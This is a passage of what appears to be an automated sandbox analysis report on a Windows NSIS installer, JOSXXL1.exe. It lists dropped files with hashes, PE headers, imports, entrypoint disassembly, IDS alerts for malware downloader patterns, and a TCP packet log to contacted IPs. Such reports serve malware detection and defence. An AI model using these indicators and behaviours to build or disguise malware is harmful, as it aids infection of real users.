SHA-512:	027386BF7D50A8B0AE621A415EDDF00E321B7A871E058BF25031408C7E3E429446B49FF10497D31CF05EEAD7E06DB9704A779A78A97911DAA09B6FA3EA74EF91
Malicious:	false
Reputation:	low
Preview:	..JJ...x.....~~~~~.........................0.....MMMM............$$...........NN.\\..pp......M.L......t..V...........................9...QQ................8..............%%%..................................kk...............66666......................X.11............+........~........i.......W......x.....'....~.............///.&........,,..............................I............................\.B..""""...}}}}}.4.`.......jj...jj.\..n...f.G...F..11......u.....-."".y....oooo........oo............--.........x.......................................uuu......~..gg.......................N..9........'........._..(...........++.]....................................4444............................\....WW.QQ.PP..7.....bbbbb.....;;..............===......................pp.))......./.....VV................c.......::..............fff......................ooo.....ZZZ.rrr.@@.)......."......;;.............VV....4..............UU............???...--.~..S......tt........p.o.\\\..............7..........

C:\Users\user\AppData\Local\indvandrings\attraavrdig\nontelegraphical.hyp

Download File

Process:	C:\Users\user\Desktop\JOSXXL1.exe
File Type:	GTA audio index data (SDT)
Category:	dropped
Size (bytes):	275043
Entropy (8bit):	2.2851189268291714
Encrypted:	false
SSDEEP:	1536:xwxFmKCuH60CJ++DBpgfz/f/WpT7CiSKP4FMWYOSQotMddJ3toh6:YtCQ63az/GpqiSjWWfo279eh6
MD5:	21BDD59977EA7CD06C63391AA9FD189E
SHA1:	9CC5B83758407C6D78BD2A96E6A31533C640C524
SHA-256:	B301C24D700076375EAA2394A9E0B754DDAA6A6A7066E8B7AE6FFAEA259B03D4
SHA-512:	042B6B7234BAC120CFEFA13DB48E1EF116ADB1F9FE60120A815973E485987C01751F27F6482FDC6FDF84B005FA3CE359A9DC13BC49ACD255383D2B8CD5C10E6C
Malicious:	false
Reputation:	low
Preview:	.........;..X.........................s...............................3........A........................B...ew....$.................4p................................................{.......B..........................#.........M................6....o.._...........c.....J,...........W......!.....G.....................S......T..X.....t..V.......................................................................................................u..\|..............^............d..............%...........j..................R. ...S.......Q........'...(......e....[.cv...........................................C....g.............3........z...0................_..................q....................g...............Y..i....................1......;........................3n....................i...R2.............................................~...............................:...........................n....................[...................................................I......}..........M........W

C:\Users\user\AppData\Local\indvandrings\attraavrdig\sluggardly.udf

Download File

Process:	C:\Users\user\Desktop\JOSXXL1.exe
File Type:	data
Category:	dropped
Size (bytes):	456817
Entropy (8bit):	2.2861700746844575
Encrypted:	false
SSDEEP:	3072:Up3Z9pSH0D11/iNlORIFbTYVN7kjQD/48cin2ij5RQq458mu0FnkLfmcJmiIMaDE:SpGH0Elc7mwkk2q5Yfu2nkL+c7wehb
MD5:	DEEA5D4F6617FE0772227FD43368936F
SHA1:	AE52FCB091DCE0118E79E4FF46F0A04BB25C350A
SHA-256:	268FCAE0EC44A3E572DFC0BF3C55306200687AA96ED484E50FAE4F1FDC400E04
SHA-512:	94573F2C11958E46A75009461FFE4F6CD00ED6C1CF4C5F02C942773262D2DB0311FD8778B47B418C27826039B5B7895440528AAEA80F0E3D5C5FCFD1FB4ECAE9
Malicious:	false
Preview:	...X....I................B..........................B..........................q....\.\..........]..K.................H....................(...%....x..........U?............&......F........^....=....[..................Z.........1....................#....t..D..4.......................$.-....).............,.................~........7.......{...=..>......o......................~......f.......................g.......g......7...........}.......Q.........w...T.............................................................[.........=.......f..........6...........N..........Y....................(.........&....U....\|5...A...@......."q.............................].....t.l.....*......9..............)..........+.............XV\|).................................k.....S.....W)........+..............l..w................9..u.......................{.w..e.t......../........'...........I..........+...............................................................%.!.....................{..... ...........a.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.856772626299688
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	JOSXXL1.exe
File size:	811'667 bytes
MD5:	fb24966daab46af066a7b7c041236de9
SHA1:	391bb0f3da952bbbf14b61b7f6c01175344be882
SHA256:	8e5d0c237ba87f5b445c7edcf6d5ea6071fb873c64b6431f4f98527461aac37d
SHA512:	7086d3a365f1fd90b26309ca87c70a872c10badc03a47e96997465c1e8db755d8de05c5321af6e7b53d566acb6193ded5b331f7232df22b4dad881a3533a764f
SSDEEP:	12288:XDGxeWd8KhMLxCTSr+lZbYk4z+pmUd0CP/TtybfkmvKAFfyhRY2ULwMaVZl:W3ddhMLiSKlGkZhVBy7BvHyhR3ULxe/
TLSH:	5D0512C1F5D0ECC2DC770CB19C39FA6256167D6E6C38061DFAAAB26D9177223206B41B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...P...P...P.._...P...P..NP.._...P...s...P...V...P..Rich.P..........................PE..L...y..V.................b...*.....

File Icon


Icon Hash:	0d39254252426213

Static PE Info

General

Entrypoint:	0x4033b6
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x567F8479 [Sun Dec 27 06:26:01 2015 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	7192d3773f389d45ebac3cc67d054a8a

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebp
push esi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+0Ch], ebp
push 00008001h
mov dword ptr [esp+0Ch], 0040A230h
mov dword ptr [esp+18h], ebp
call dword ptr [004080B4h]
call dword ptr [004080B0h]
cmp ax, 00000006h
je 00007F44345FDFC3h
push ebp
call 00007F443460111Eh
cmp eax, ebp
je 00007F44345FDFB9h
push 00000C00h
call eax
push ebx
push edi
push 0040A3B0h
call 00007F443460109Bh
push 0040A3A8h
call 00007F4434601091h
push 0040A39Ch
call 00007F4434601087h
push 00000009h
call 00007F44346010ECh
push 00000007h
call 00007F44346010E5h
mov dword ptr [0042A264h], eax
call dword ptr [00408044h]
push ebp
call dword ptr [004082A8h]
mov dword ptr [0042A318h], eax
push ebp
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebp
push 00421708h
call dword ptr [0040818Ch]
push 0040A384h
push 00429260h
call 00007F4434600CD2h
call dword ptr [004080ACh]
mov ebx, 00435000h
push eax
push ebx
call 00007F4434600CC0h
push ebp
call dword ptr [00408178h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x84bc	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4f000	0x28410	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x615e	0x6200	41c79e199a2175acbe73d4712982d296	False	0.6625876913265306	data	6.4557374109402	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1370	0x1400	9cbedf8ff452ddf88e3b9cf6f80372a9	False	0.4404296875	data	5.102148788391081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20358	0x600	73e3da5d6c2dd1bec8a02d238a90e209	False	0.5149739583333334	data	4.09485328769633	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x24000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4f000	0x28410	0x28600	51b7894a0db615e33d0e483e70402f1b	False	0.5889669601393189	data	6.83951124806165	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x4f418	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.2257778303560866
RT_ICON	0x5fc40	0x98dd	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9996422456750057
RT_ICON	0x69520	0x730f	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9982006450517739
RT_ICON	0x70830	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.40985477178423235
RT_ICON	0x72dd8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.4603658536585366
RT_ICON	0x73e80	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.5559701492537313
RT_ICON	0x74d28	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.5537003610108303
RT_ICON	0x755d0	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.33963414634146344
RT_ICON	0x75c38	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.37283236994219654
RT_ICON	0x761a0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6551418439716312
RT_ICON	0x76608	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.44623655913978494
RT_ICON	0x768f0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.49324324324324326
RT_DIALOG	0x76a18	0x120	data	English	United States	0.5138888888888888
RT_DIALOG	0x76b38	0x11c	data	English	United States	0.6091549295774648
RT_DIALOG	0x76c58	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x76d20	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x76d80	0xae	data	English	United States	0.6264367816091954
RT_VERSION	0x76e30	0x29c	data	English	United States	0.5089820359281437
RT_MANIFEST	0x770d0	0x33f	XML 1.0 document, ASCII text, with very long lines (831), with no line terminators	English	United States	0.5547533092659447

Imports

DLL	Import
KERNEL32.dll	SetCurrentDirectoryW, GetFileAttributesW, GetFullPathNameW, Sleep, GetTickCount, CreateFileW, GetFileSize, MoveFileW, SetFileAttributesW, GetModuleFileNameW, CopyFileW, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, GetCurrentProcess, CompareFileTime, GlobalUnlock, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, WriteFile, lstrcpyA, lstrcpyW, MoveFileExW, lstrcatW, GetSystemDirectoryW, LoadLibraryW, GetProcAddress, GetModuleHandleA, ExpandEnvironmentStringsW, GetShortPathNameW, SearchPathW, lstrcmpiW, SetFileTime, CloseHandle, GlobalFree, lstrcmpW, GlobalAlloc, WaitForSingleObject, GetDiskFreeSpaceW, lstrcpynW, GetExitCodeProcess, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, lstrlenA, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, IsWindowEnabled, EnableMenuItem, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, wsprintfW, ScreenToClient, GetWindowRect, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, GetDC, SetWindowTextW, PostQuitMessage, ShowWindow, GetDlgItem, IsWindow, LoadImageW, SetWindowLongW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, SetTimer, FindWindowExW, SendMessageTimeoutW, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegDeleteKeyW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, AdjustTokenPrivileges, RegOpenKeyExW, RegEnumValueW, RegDeleteValueW, RegCloseKey, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-26T23:57:11.745999+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	61847	142.250.185.238	443	TCP
2024-10-26T23:57:18.573757+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	61886	193.122.130.0	80	TCP
2024-10-26T23:57:20.417495+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	61886	193.122.130.0	80	TCP
2024-10-26T23:57:21.167832+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	61902	188.114.96.3	443	TCP
2024-10-26T23:57:21.890371+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	61908	193.122.130.0	80	TCP
2024-10-26T23:57:22.626862+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	61913	188.114.96.3	443	TCP
2024-10-26T23:57:23.355007+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	61919	193.122.130.0	80	TCP
2024-10-26T23:57:24.129743+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	61922	188.114.96.3	443	TCP
2024-10-26T23:57:25.708387+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	61933	188.114.96.3	443	TCP
2024-10-26T23:57:27.148944+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	61945	188.114.96.3	443	TCP
2024-10-26T23:57:31.552767+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	61976	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 23:57:10.413517952 CEST	61847	443	192.168.2.4	142.250.185.238
Oct 26, 2024 23:57:10.413598061 CEST	443	61847	142.250.185.238	192.168.2.4
Oct 26, 2024 23:57:10.413686037 CEST	61847	443	192.168.2.4	142.250.185.238
Oct 26, 2024 23:57:10.445158005 CEST	61847	443	192.168.2.4	142.250.185.238
Oct 26, 2024 23:57:10.445188999 CEST	443	61847	142.250.185.238	192.168.2.4
Oct 26, 2024 23:57:11.322999954 CEST	443	61847	142.250.185.238	192.168.2.4
Oct 26, 2024 23:57:11.323093891 CEST	61847	443	192.168.2.4	142.250.185.238
Oct 26, 2024 23:57:11.324088097 CEST	443	61847	142.250.185.238	192.168.2.4
Oct 26, 2024 23:57:11.324143887 CEST	61847	443	192.168.2.4	142.250.185.238
Oct 26, 2024 23:57:11.373925924 CEST	61847	443	192.168.2.4	142.250.185.238
Oct 26, 2024 23:57:11.373963118 CEST	443	61847	142.250.185.238	192.168.2.4
Oct 26, 2024 23:57:11.374906063 CEST	443	61847	142.250.185.238	192.168.2.4
Oct 26, 2024 23:57:11.375037909 CEST	61847	443	192.168.2.4	142.250.185.238
Oct 26, 2024 23:57:11.380110025 CEST	61847	443	192.168.2.4	142.250.185.238
Oct 26, 2024 23:57:11.423353910 CEST	443	61847	142.250.185.238	192.168.2.4
Oct 26, 2024 23:57:11.746026039 CEST	443	61847	142.250.185.238	192.168.2.4
Oct 26, 2024 23:57:11.746102095 CEST	61847	443	192.168.2.4	142.250.185.238
Oct 26, 2024 23:57:11.746331930 CEST	61847	443	192.168.2.4	142.250.185.238
Oct 26, 2024 23:57:11.746421099 CEST	443	61847	142.250.185.238	192.168.2.4
Oct 26, 2024 23:57:11.746548891 CEST	61847	443	192.168.2.4	142.250.185.238
Oct 26, 2024 23:57:11.784450054 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:11.784491062 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:11.784554958 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:11.784840107 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:11.784854889 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:12.646903992 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:12.647021055 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:12.652600050 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:12.652622938 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:12.652988911 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:12.654660940 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:12.655186892 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:12.695341110 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.133436918 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.133825064 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.134619951 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.134841919 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.250292063 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.250394106 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.250441074 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.250499964 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.250514984 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.250567913 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.250579119 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.250629902 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.250931025 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.250994921 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.251203060 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.251260996 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.251291990 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.251352072 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.251667023 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.251723051 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.253890991 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.253952980 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.253982067 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.254045963 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.367450953 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.367532015 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.367553949 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.367609978 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.367948055 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.368005991 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.368032932 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.368082047 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.368438005 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.368490934 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.368520975 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.368585110 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.368892908 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.368948936 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.368976116 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.369024992 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.371115923 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.371191978 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.371294975 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.371351004 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.371383905 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.371443033 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.485538006 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.485693932 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.485764980 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.485765934 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.485778093 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.485829115 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.485873938 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.485898972 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.485909939 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.485956907 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.485966921 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.486031055 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.488353968 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.488413095 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.488527060 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.488584042 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.488857031 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.488925934 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.489095926 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.489152908 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.489173889 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.489234924 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.602822065 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.603055000 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.603147984 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.603226900 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.603228092 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.603288889 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.603408098 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.603426933 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.603496075 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.603524923 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.603578091 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.603625059 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.603806019 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.603821039 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.603876114 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.606093884 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.606159925 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.606255054 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.606304884 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.606348038 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.606396914 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.606586933 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.606643915 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.606894970 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.606949091 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.607160091 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.607212067 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.719959974 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.720125914 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.720184088 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.720247984 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.720263004 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.720312119 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.720398903 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.720453978 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.720520020 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.720575094 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.721002102 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.721061945 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.723488092 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.723540068 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.723591089 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.723647118 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.723948956 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.724004030 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.724066973 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.724118948 CEST	61854	443	192.168.2.4	142.250.181.225
Oct 26, 2024 23:57:15.764512062 CEST	443	61854	142.250.181.225	192.168.2.4
Oct 26, 2024 23:57:15.764724016 CEST	443	61854	142.250.181.225	192.168.2.4
